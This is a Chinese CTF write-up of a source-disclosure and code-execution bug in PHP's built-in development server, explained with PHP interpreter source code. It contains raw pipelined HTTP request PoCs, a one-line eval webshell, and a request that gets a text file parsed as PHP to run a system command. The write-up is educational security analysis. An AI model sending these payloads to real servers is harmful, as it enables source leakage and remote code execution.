内容来源:某不愿透露姓名学弟
前提
php<= 7.4.21
web服务器是 php -S 起的内置 php web 服务
题目--XCTF分站赛 LilacCTF 2026 Keep
前期信息收集没招了,扫不到目录,我的想法就只有去看响应包,没有看到中间件,只有php版本,那就循着版本号去找洞,找到这个,去试了下报错界面一股子php味,唉,艰难
先贴poc,记得关burp的自动更新content-length

GET /phpinfo.php HTTP/1.1
Host: pd.research
\r\n
\r\n
GET /xyz.xyz HTTP/1.1
\r\n
\r\n
其中的\r\n必不可少,实际为换行符,在burp请求中打开这个就能看到

请求的结果是会泄露phpinfo.php的内容,如果没有明确的php文件名
不妨换成这个
GET / HTTP/1.1
Host: pd.research
\r\n
\r\n
GET /xyz.xyz HTTP/1.1
\r\n
\r\n
或者这样
GET /index.php HTTP/1.1
Host: pd.research
\r\n
GET /xyz.xyz HTTP/1.1
\r\n
\r\n
存在这个洞顺便附上解析漏洞实现php解析任意文件造成rce
假设backdoor.txt的内容是这个
<?php
eval($_POST[cmd]);
?>
访问到发现没有用,也没有别的php文件能用
构造如下请求,会把backdoor.txt当成php文件解析
GET /backdoor.txt HTTP/1.1\r\n
Host: pd.research\r\n
\r\n
POST /didongji.php HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 25\r\n
\r\n
cmd=system('cat /f*');\r\n
对应文章挺长的,我这里贴个链接,笔者只做简要解释
https://projectdiscovery.io/blog/php-http-server-source-disclosure#proof-of-concept
在php的内核,解析我们第二个请求的时候会走到这一步
static int php_cli_server_dispatch(php_cli_server *server, php_cli_server_client *client) {
...
if (client->request.ext_len != 3
|| (ext[0] != 'p' && ext[0] != 'P') || (ext[1] != 'h' && ext[1] != 'H') || (ext[2] != 'p' && ext[2] != 'P')
|| !client->request.path_translated) {
is_static_file = 1;
}
...
}
这一段会检查请求的文件的类型 静态? or php文件
看if里面的条件判断
第一是长度
第二个大致就是文件扩展名 .php 或者 .PHP
好吧突然想讲两句
对于我们的请求,php内核的调用函数流程大致是这样
main(...)
do_cli_server(...)
php_cli_server_do_event_loop(...)
php_cli_server_do_event_for_each_fd(...)
php_cli_server_poller_iter_on_active(...)
php_cli_server_do_event_for_each_fd_callback(...)
php_cli_server_recv_event_read_request(...)
php_cli_server_client_read_request(...)
首先请求的第一部分会在 php_cli_server_client_read_request 函数调用 php_http_parser_execute
返回 成功解析的字节数 用于确定请求的处理量以及需要解析的剩余数量
然后,由于我们的第一段请求不包含 Content-Length
if (parser->type == PHP_HTTP_REQUEST || php_http_should_keep_alive(parser)) {
/* Assume content-length 0 - read the next */
CALLBACK2(message_complete); // Here
state = NEW_MESSAGE(); // Afterwards the state is reverted back to start_state
}
CALLBACK2(message_complete)函数会被调用,该函数反过来会调用php_cli_server_client_read_request_on_message_complete
static int php_cli_server_client_read_request_on_message_complete(php_http_parser *parser)
{
...
php_cli_server_request_translate_vpath(&client->request, client->server->document_root, client->server->document_root_len);
...
}
这个功能会调用php_cli_server_request_translate_vpath
static void php_cli_server_request_translate_vpath(php_cli_server_request *request, const char *document_root, size_t document_root_len) {
...
else {
pefree(request->vpath, 1);
request->vpath = pestrndup(vpath, q - vpath, 1);
request->vpath_len = q - vpath;
// At this time buf is equal to /tmp/php/phpinfo.php where /tmp/php/
// is whatever the server's working directory is.
request->path_translated = buf;
// so the request->path_translated is now /tmp/php/phpinfo.php
request->path_translated_len = q - buf;
...
}
...
}
它会把我们请求中包含的文件的路径转换成完整的系统路径
/index.php -> C:/root/www/html/index.php
如果我们的请求中是一个目录或者路径 像这样 / 或者 /upload/ 这样的
这个函数(vpath)会接着看该路径或者目录下是不是有像index.php或者index.html一样的东西 有点类似重定向一样hhh
然后我们请求中的路径,目录在它找到后会变成 /index.php 类似的路径(加上了具体的文件名)
poc里的请求就是这样,如果是 / , 那会在这一步变成了类似 /index.php 的路径来被解析
类似!类似!类似!,万一人家不叫 index.php呢 !
在这个php_cli_server_request_translate_vpath功能的最后会设置 request->path_translated 然后继续解析第二部分的请求
和刚才一样进php_cli_server_client_read_request_on_message_complete函数,
然后调用php_cli_server_request_translate_vpath
但这次在php_cli_server_request_translate_vpath函数里面
由于我们前面的请求已经有了路径 /了
所以,我们的第二个请求会进到这个地方
...
// loops and checks for index.php, index.html inside working dir
while (*file) {
size_t l = strlen(*file);
memmove(q, *file, l + 1);
if (!php_sys_stat(buf, &sb) && (sb.st_mode & S_IFREG)) {
q += l
break;
}
file++;
}
if (!*file || is_static_file) {
// In case, index files are not present we enter here
if (prev_path) {
pefree(prev_path, 1);
}
pefree(buf, 1);
return; // This time we return from the function
// and no request->vpath or request->path_translated
// is set.
}
...
最后我们会从php_http_parser_execute函数出来,这时候请求也被解析完了,最后的结果就是
请求长度 -> nbytes_consumed 字节长度 -> nbytes_read
最后的最后,进到了这个函数
static int php_cli_server_dispatch(php_cli_server *server, php_cli_server_client *client) {
...
if (client->request.ext_len != 3
|| (ext[0] != 'p' && ext[0] != 'P') || (ext[1] != 'h' && ext[1] != 'H') || (ext[2] != 'p' && ext[2] != 'P')
|| !client->request.path_translated) {
is_static_file = 1;
}
...
}
这一段会检查请求的文件的类型 静态 or php文件
看if里面的条件判断
第一是长度
第二个大致就是文件扩展名 .php 或者 .PHP
由于第二个请求的缘故
vpath 被设置为 /
然后, 如果没有类似index.php的东西
client -> request.txt 设置为NULL
由于第一个请求client->request.path_translated仍然设置为/www/html/phpinfo.php看第二个请求,很明显的不满足的,所以这里 is_static_file 被设置为 1
由于 第二个请求 client->request.txt被检查, 但是 被第一个请求设置的 client->request.path_translated 会被打开,所以原来的php文件的源码就可以看了,这也同样解释了为什么可以利用这个漏洞来将文本文件当成php文件解析
写得烂,轻点骂,谢谢